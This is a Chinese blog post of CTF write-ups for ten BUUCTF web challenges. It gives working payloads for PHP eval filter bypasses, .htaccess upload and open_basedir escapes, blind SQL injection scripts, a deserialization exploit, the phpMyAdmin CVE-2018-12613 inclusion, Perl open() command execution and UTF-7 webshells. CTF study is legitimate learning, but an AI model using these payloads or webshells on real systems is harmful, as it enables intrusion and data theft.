buu学习记录(下)(做题是不可能做题的)

目录:

  1. easy_calc
  2. 禁止套娃
  3. EasyWeb
  4. Babysqli
  5. Easyweb
  6. easy_serialize_php
  7. 我有一个数据库
  8. SSRFme
  9. 枯燥的抽奖
  10. EasyPHP

     

题目解析:

easy_calc

涉及 知识点:

(1)php字符串解析特性绕过WAF

(2)HTTP请求走私攻击

  再贴一个学习链接

(3)取反操作

  ~%D1 == '.'  (46+209=255)  ~$D0 == '/'  (47+208=255)  

  其余ascii码类似。

解析:

进入题目的界面,审计js代码发现有calc.php,抱着好奇的态度进入查看。

发现源码。审计

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET['num']; 
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match('/' . $blackitem . '/m', $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval('echo '.$str.';'); 
} 
?> 

本来以为过滤已经很明显了。但是其实还有坑,经过多次尝试之后发现num中不能存在字母。

感觉像是前端的WAF。

方法一:php字符串解析特性绕过WAF。

上面的链接有详细的解释,我就提一下%20num也会被后端解析为num,但是前端解析不出来,所以可以绕过前端WAF。

尝试构造payload:?%20num=phpinfo()

成功,有phpinfo()回显

 

还发现了system()被过滤了,没办法只能用php本身的文件读取函数了。

scandir()函数读取目录。file_get_contents()读取文件。

目标payload:? num=var_dump(scandir('.'))

因为 单引号 被过滤,所以我们采用本身结果就是字符串的 chr()函数 或者 取反操作 来替换

构造payload1:? num=var_dump(scandir(chr(46)))

构造payload2:? num=var_dump(scandir(~%D1))

。。没有flag文件,去根目录下看看。(payload类似)

    (注意这是1,因为没看出来卡了好久...)

 

 那么读取这个文件应该就行了,payload依旧类似

payload1:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

payload2:? num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))

成功获得flag

 

 

方法二:HTTP请求走私攻击

老实说,这个方法我还是第一次见,最好去看大佬的解释吧。

我用自己的话解释一下巩固一遍(太菜了,见谅)

CL-CL协议可以,payload和方法一一样。

 

禁止套娃

涉及知识点:

(1)无参数RCE

解析:

这还解析个啥子哦,之前写的有从零开始的无参数RCE学习

。。总结的还是挺全的,这类题目以后就不详细解释了,wp应该会放在那里。

 

EasyWeb

涉及知识点:

(1)异或

(2).htaccess文件上传

(3)open_basedir限制绕过

解析:

等一下,我先说明白了,这题我没做出来好吧,不知道是自己太菜还是环境有问题。先挖个坑吧。

做出来了,嘿嘿,原来是因为php的问题。

贴一下源码。

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以很清楚地看到有个eval函数。但是过滤有点严。这里先提一个知识点。

{'phpinfo'}(); 是会被当成php代码执行的,所以会先显示phpinfo的内容。

有了这个知识点,我们正式开始。

过滤的太严格了,数字字母和一些符号都过滤了。但是引号没有过滤,这时候有经验的师傅应该看出来了,这里肯定要用到异或的。

可显示字符过滤的差不多了,但是不可显示字符一个都没有过滤啊!

那么我们就可以用不可显示字符异或得到可显示字符!

因为长度限制太严格了,所以我选择整出来一个 _GET 或者 _POST ,这里当然选择 _GET ,因为_GET短啊!

写个脚本遍历一下。

<?php
function is_valid($s)
{
    if(preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $s)) //过滤条件
    return false;
    return true;
}

function character_fuzz($str)
{
    $i = 0;
    $s = "";
    $ch = "";
    $res1 = "";
    $res2 = "";
    for($k = 0 ;$k < strlen($str);$k++)                         // 在php中 count 数组或对象 , strlen 字符串,别混了
    {
        $s = $str[$k];
        for($i = 127;$i < 256;$i++)                             //这里从 127 开始的原因是因为题目有严格的字数限制,并且%7f之后是没有 过滤的,那么理论上可以用 %80 ^ x 来实现任意 ascii 码的。进一步减少长度。
        {
            $ch = chr($i);
            if(!is_valid($ch))
            {
                continue;
            }

            if(is_valid($ch ^ $s))
            {
                $res1 .= urlencode($ch);
                $res2 .= urlencode($ch ^ $s); 
                break;
            }
            
        }
    }

    echo $res1."^".$res2."=".$str;
}

$payload = "_GET";                                              //最终想要的字符串。
character_fuzz($payload);

?>

最后的结果是

 

 选择构造payload:

?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();

构造了一个 $GET{%DF}()  ({}和[]的效果是一样的)

构造payload:

?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();&%DF=phpinfo

可以看到phpinfo的界面。

 

 可以去disable_function看看过滤的函数。

之后构造payload:

?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();&%DF=get_the_flag

尝试文件上传,

先写到这里,明天继续。

 让我们文件上传啊,没意思,jarvisoj 有一道差不多的题,思路就是本地写一个网页发文件到题目界面。

<!DOCTYPE html>
<html>
<head>
    <title>Cxlover</title>
</head>
<body>
<form method="POST" action="http://3dbea840-e468-4892-8c55-61f59c92155e.node3.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();&%DF=get_the_flag" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="Cxlover">
    <input type="file" name="file">
    <input type="submit" name="Cxlover" value="提交">
</form>
    
</body>

</html>

抓包上传,经过很多次的尝试之后,我终于摸清了要怎么上传。

1.首先是后缀名中不能含有 ph

。。。php文件应该是没法上传了,所有apache能解析的文件都是ph结尾的。

2.文件内容中不能含有 <?

。。有毒,短标签也没法用了,但是本来可以尝试<script language="php">的,但是不解析。。没办法,只能尝试别的方法。

3.文件的头部必须是图片的头。

  • 在内容前面增加GIF98a等标志
  • 在文件开头增加\xff\xd8等标志
  • 使用了xbm格式,X Bit Map,来绕过图片检测,在文件前面加
    •   #define width 1337
        #define height 1337  

那么我们可以上传一个 .htaccess 文件。这样文件就可以解析为 php 文件了。

可是光解析没有用啊,还要嵌入php代码。这一步很难。

看了大佬的wp才知道,.htaccess文件不仅可以使其他后缀名的文件被认为是 php 文件。

还可以将 base64 编码过后的文件解码。并且 只要在文件名之前加上 \x18\x81\x7c\xf5 ,base64编码之后的结果就是 GIF89 (就是图片文件头)

上传的 .htaccess 文件源码为:

#define width 1
#define height 1
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=payload.aaa"

。。对了,好几天没写wp差点忘了,这题还有一个限制是 open_basedir 。

这里有一个绕过 open_basedir 的黑科技

<?php
$str="<?php mkdir('sub');
    chdir('sub');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    var_dump(scandir('/'));
    
    readfile('THis_Is_tHe_F14g');
    ?>";
$s = "\x18\x81\x7c\xf5";
$str = $s.$str;

echo base64_encode($str);
?>

将脚本结果上传

 

 直接访问即可拿到flag

感觉自己讲的不好,放一篇大佬的wp吧。 (什么时候才能表达强一点啊,唉)

 

 

Babysqli

涉及知识点:

(1)sql源码猜测

解析:

进入题目的界面,查看源码,

base32,base64解码为

select * from user where username = '$name'

配合题目的名字,这铁定是一个sql注入题目。

构造了payload甚至还爆出了passwd。但是。。md5没法装库。。蒙了。

看了wp才知道这一道题的脑洞是真的大。

这一题要猜测后端源码为:

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){ 
echo $flag; 
}else{ echo “wrong pass!”; 
}}
else{ echo “wrong user!”;}

才能构造

payload:name='union select 1,2,3#&pw=123

 

 

 payload:name='union select 1,'admin',3#&pw=123

 

 然后让自己的password和自己输入的md5对上就行了。

payload:name='union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

得到flag

 

 

 (有一说一,脑洞是真的大)

 

Easyweb

涉及知识点:

(1)sql时间盲注(布尔盲注也行)

(2)文件上传中的短标签

解析:

有一说一,这一道题是我们组内考核的题目(哭了)。

不过,这里我又做了一遍,写一下wp吧。

先是扫目录可以扫出来一个 robots.txt 。

 

然后,发现没有 index.php.bak 。但是,有 image.php.bak (缓缓打出一个问号?)

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

阅读源码后发现这一道sql注入的注入点竟然在 image.php 。

因为在考核的wp中写的非常清楚了,就直接写怎么构造payload了。

输入 \,0 因为 addslashes 函数的存在会被解析成 \\,\0 ,这样输入 \0 就会被解析成 \\\0 ,然后过滤之后就变成了 \ 。

贴一下脚本

import requests


id = u"\\0"
path = u"||sleep(5)--+"
string = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."

url = "http://3eeb3481-ce2a-4996-9375-47afc1f9fcef.node3.buuoj.cn/image.php?id=\\0&"
payload = ""

for i in range(1,40):

    for j in string:
        #sqlstr = "path=||if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{},1))={}),sleep(6),1)--+"
        #sqlstr = "path=||if((ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),{},1))={}),sleep(6),1)--+"
        sqlstr = "path=||if((ascii(substr((select password from users where username=0x61646d696e),{},1))={}),sleep(6),1)--+"
        url1 = url + sqlstr.format(str(i),str(ord(j)))
        #print(url1)
        try:
            resp = requests.get(url1,timeout = 2)
            
        except:
            payload += j 
            print(payload)
            break

print(payload)

爆出的结果是:

 

 

 直接输入 username:admin,password: 1b3e6bba606d05bf397e

 进入文件上传界面

 

 随便上传一个文件,发现上传的文件名会出现在 .php 文件中?

直接将文件名作为一句话shell注入,就行了,但是有问题。

<?php 不让出现,这时候采用短标签就行了。

 

 上传成功,执行shell。

getflag

 

easy_serialize_php

涉及知识点:

(1)extract 函数覆盖数据。

(2)php注入

解析:

一进去就是源码,终于不用扫目录了。

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

审计源码发现有phpinfo。那么直接进入看看就完事了。首先找disable_function看呗过滤的函数吧。

然后意外发现了惊喜?

 

 既然含有flag。那么我们的目的应该就是读它了。继续审计源码。发现可以show_image。直接查看guest_img.png。

...也没啥好看的,反正知道可以用反序列化读文件就对了。而它序列化的是 $_SESSION ,那么我们怎么重新设置 $_SESSION 呢?

 

 有 extract 这个函数。文档给的解释是:

 

 意思就是没有设置第二个参数时,会自动覆盖,所以直接输入就行了。本地测试结果

 

 这样我们就可以修改了,我们现在的目标是把 img 改成 d0g3_f1ag.php ,但是直接覆盖是不可能的。

而且还有一个迷惑点,在下面的源码里

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

看上去可以通过这个参数来修改 img 的值,但是这个 sha1 是真的没法绕过的,千万别往这方面想。

所以这题和 piapiapia 一样的格式,都是利用 php 序列化的拼接漏洞。这里简单说一下吧

利用它给我们的过滤函数来构造序列化。(真的,先序列化后过滤就是白给)。具体细节就不讲了,piapiapia里讲过。

直接尝试构造payload就好了。

payload:  _SESSION[users]=phpphpflagflagflag&_SESSION[func]=;s:1:"a";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

 然后去服务器测试

 

 。。没啥区别,稍微改下payload就好了。

payload:_SESSION[users]=phpphpflagflagflag&_SESSION[func]=;s:1:"a";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

拿到flag

 

我有一个数据库

涉及知识点:

(1)CVE-2018-12613 phpMyAdmin后台文件包含漏洞分析

解析:

进入题目界面什么有用信息都没有看到。

扫目录可以扫出来robots.txt 和 phpmyadmin 。

robots.txt 有一个phpinfo.php没什么用。这题的关键在于 phpmyadmin 。

利用条件:版本号:4.8.0——4.8.1

本题的版本恰巧是 4.8.1 。然后直接拿 exp 去打,就拿到flag了。

构造payload: ?target=db_sql.php%253f/../../../../../../../../flag

拿到flag

 

 

SSRFme

涉及知识点:

(1)SSRF

解析:

这题有一说一,我对 SSRF 是真的不太会。这一题也只是在研究,目前只知道 GET 之中调用了 perl 中的open。

而 open 函数是可以执行系统命令的。并且 open 函数支持 file 协议。

首先,GET 是可以访问自己本地的文件的。 GET / 是类似于  ls / 的。

先构造 payload: ?url=/&filename=cioi 访问文件目录。

 

 本来想直接访问 /flag 的。但是是空的,而根目录下有一个 /readflag 。读取之后发现是二进制文件,那么应该是要调用这个文件读取flag了。

首先先构造payload创造 bash -c /readflag| 文件名(这一步不能少哦,只有文件名存在才能执行命令)

payload: ?url=/&filename=bash -c /readflag|

之后构造 payload 执行 readflag 拿到flag。

构造payload: ?url=file:bash -c /readflag&filename=cioi

成功拿到flag。

 

 

 。。给一个大佬讲 perl 的链接吧。

 

枯燥的抽奖

涉及知识点:

(1)php中的伪随机性

解析:

拿到了flag?我是不是要被抓去非洲了?这是我的最后一篇wp。师傅们再见 Σ(っ °Д °;)っ。

先写完 wp 吧。

本来不知道这题是什么东西,结果bp抓包一看发现有源码?

 

 

发现就是一个随机数。但是 mt_rand 真的是随机吗?答案是否定的。

在组内第二次考核的中,也是 mt_rand 伪随机数。简单介绍一下 mt_rand 吧。

当 mt_srand($seed) 中 $seed 的值是固定的时,mt_rand() 的值是固定的。

但是 $seed 是随机的,那么爆破种子就好了。

简单写了脚本去爆破。

<?php
header("Content-Type: text/html;charset=utf-8");
session_start();
for($seed = 0;$seed < 999999999;$seed++)
{
    mt_srand($seed);
    $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $str = "";
    $len = 20;
    for($i = 0;$i < $len;$i++)
    {
        $str .= substr($str_long1,mt_rand(0,strlen($str_long1)-1),1);
    }
    
    $str_show = substr($str,0,10);
    if($str_show == "xssutpd1s7")
    {
        echo $str."\n";
    }
    
}
?>

然后就真的爆破出来了?

 

 

 有一说一,太简单了,我自己都不信的。

顺利拿到flag

 

 不多说了,去非洲了。

有一说一,贴个wp吧,这个是爆破种子的。

 

EasyPHP

涉及知识点:

  • .htaccess文件
  • 文件包含
  • 指定目录写文件

解析:

  一开始不明白为什么上传 .htaccess 文件会 500 ,之后本地测试(这玩意删了我半个文件夹,当个教训吧)发现有一个 Just one chance 在生成的 .htaccess 文件后面,那么我们要尝试将 "\nJust one chance"给消除,最好的办法就是注释 # 了,但是 # 只是单行注释符,这个换行必须给爷死,那么payload很容易就构造出来了,在最后加 # \ 就可以使原字符串变成 "# \n ... " 这样就可以注释了。接下来就是构造 .htaccess 了。( \ 在.htaccess文件里是拼接上下两行的意思)

  继续分析源码,我们发现有一个 include_once("fl3g.php");  。这时候我就产生疑问了,本级目录下的文件不是都删光了吗?查询未果后,我请教了峰佬。峰佬告诉我,php的文件包含并不是按照当前文件的路径来的。php的配置选项中有一个 include_path 可以设置 include 函数的路径。而 .htaccess 文件中也有对应的方法。

解法一:  error_log:任意文件写入

  如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。我们.htaccess文件中可以自己定义error_log,更多的配置可以在php.ini配置选项表里找

  如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。然而很不幸的是error_log的内容默认是htmlentities的,我们无法插入类似<?php phpinfo();?>的payload。那么怎么才能绕过这里的转义?

  最后一个问题,写入utf-7编码的shellcode可以绕过<?的过滤
  +ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

  需要在.htaccess中配置解析的编码: 

php_flag zend.multibyte 1 
php_value zend.script_encoding "UTF-7"

Step1:  写入.htaccess文件

php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \

payload:  index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F+ADw%3Fphp%20die(eval($_GET%5B2%5D))+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

(记住一定要url编码,因为文件内容有特殊字符)

Step2: 访问index.php生成 error_log 文件。

Step3:  写入新的.htaccess解析UTF-7

php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

payload:  index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

Step4:  命令执行就好了。访问 index.php?2=phpinfo();

解法二:  正则回溯次数的重设

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z\.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false

filename即可通过伪协议绕过前面stristr的判断实现Getshell

php_value pcre.backtrack_limit    0
php_value auto_append_file    ".htaccess"
php_value pcre.jit   0
#aa<?php eval($_GET['a']);?>\

令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了

解法三:  同样的绕过方法

php_value auto_prepend_fi\
le ".htaccess"
#<?php phpinfo();?>
#\

意思很明显哦!既然 \ 是拼接上下两行的意思,这种过滤就很好绕过了。之后的payload就不写了。

PS:今天好开心QwQ。打awd被璞佬表扬了,说不定有天我也可以像学长那么强。还有还有,我好喜欢极光这群人啊!

 贴一个大佬的WP.

posted @ 2020-02-07 16:04  Cxlover  阅读(711)  评论(0编辑  收藏  举报